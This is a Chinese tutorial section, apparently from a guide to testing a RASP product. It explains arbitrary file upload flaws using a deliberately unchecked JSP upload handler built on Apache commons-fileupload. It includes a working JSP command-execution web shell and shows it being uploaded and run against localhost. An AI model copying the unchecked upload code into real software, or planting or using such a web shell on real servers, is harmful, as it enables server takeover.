任意文件上传漏洞

Web应用通常都会包含文件上传功能,用户可以将其本地的文件上传到Web服务器上。如果服务器端没有能够正确的检测用户上传的文件类型是否合法(例如上传了jsp后缀的WebShell)就将文件写入到服务器中就可能会导致服务器被非法入侵。

1. Apache commons-fileupload文件上传测试

Apache commons-fileupload是一个非常常用的文件上传解析库,Spring MVCStruts2Tomcat等底层处理文件上传请求都是使用的这个库,所以RASP必须能够支持使用Apache commons-fileupload库解析的文件上传请求。

示例-Apache commons-fileupload

  1. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
  2. <%@ page import="org.apache.commons.fileupload.FileItemIterator" %>
  3. <%@ page import="org.apache.commons.fileupload.FileItemStream" %>
  4. <%@ page import="org.apache.commons.fileupload.servlet.ServletFileUpload" %>
  5. <%@ page import="org.apache.commons.fileupload.util.Streams" %>
  6. <%@ page import="java.io.File" %>
  7. <%@ page import="java.io.FileOutputStream" %>
  8. <%
  9. if (ServletFileUpload.isMultipartContent(request)) {
  10. ServletFileUpload fileUpload = new ServletFileUpload();
  11. FileItemIterator fileItemIterator = fileUpload.getItemIterator(request);
  12. String dir = request.getServletContext().getRealPath("/uploads/");
  13. File uploadDir = new File(dir);
  14. if (!uploadDir.exists()) {
  15. uploadDir.mkdir();
  16. }
  17. while (fileItemIterator.hasNext()) {
  18. FileItemStream fileItemStream = fileItemIterator.next();
  19. String fieldName = fileItemStream.getFieldName();// 字段名称
  20. if (fileItemStream.isFormField()) {
  21. String fieldValue = Streams.asString(fileItemStream.openStream());// 字段值
  22. out.println(fieldName + "=" + fieldValue);
  23. } else {
  24. String fileName = fileItemStream.getName();
  25. File uploadFile = new File(uploadDir, fileName);
  26. out.println(fieldName + "=" + fileName);
  27. FileOutputStream fos = new FileOutputStream(uploadFile);
  28. // 写文件
  29. Streams.copy(fileItemStream.openStream(), fos, true);
  30. out.println("文件上传成功:" + uploadFile.getAbsolutePath());
  31. }
  32. }
  33. } else {
  34. %>
  35. <!DOCTYPE html>
  36. <html lang="en">
  37. <head>
  38. <meta charset="UTF-8">
  39. <title>File upload</title>
  40. </head>
  41. <body>
  42. <form action="" enctype="multipart/form-data" method="post">
  43. <p>
  44. 用户名: <input name="username" type="text"/>
  45. 文件: <input id="file" name="file" type="file"/>
  46. </p>
  47. <input name="submit" type="submit" value="Submit"/>
  48. </form>
  49. </body>
  50. </html>
  51. <%
  52. }
  53. %>

示例-本地命令执行后门代码:

  1. <%@ page import="java.io.InputStream" %>
  2. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
  3. <pre>
  4. <%
  5. String[] cmd = request.getParameterValues("cmd");
  6. Process process = Runtime.getRuntime().exec(cmd);
  7. InputStream in = process.getInputStream();
  8. int a = 0;
  9. byte[] b = new byte[1024];
  10. while ((a = in.read(b)) != -1) {
  11. out.println(new String(b, 0, a));
  12. }
  13. in.close();
  14. %>
  15. </pre>

因为Web应用未检测用户上传的文件合法性导致了任意文件上传漏洞,访问:http://localhost:8000/modules/servlet/fileupload/file-upload.jsp,并选择一个恶意的jsp后门(示例上传的是一个本地命令执行的后门):

image-20200921003740246

后门成功的写入到了网站目录:

image-20200921003719254

访问命令执行后门测试:http://localhost:8000/uploads/cmd.jsp?cmd=ls,如下图:

image-20200921003841786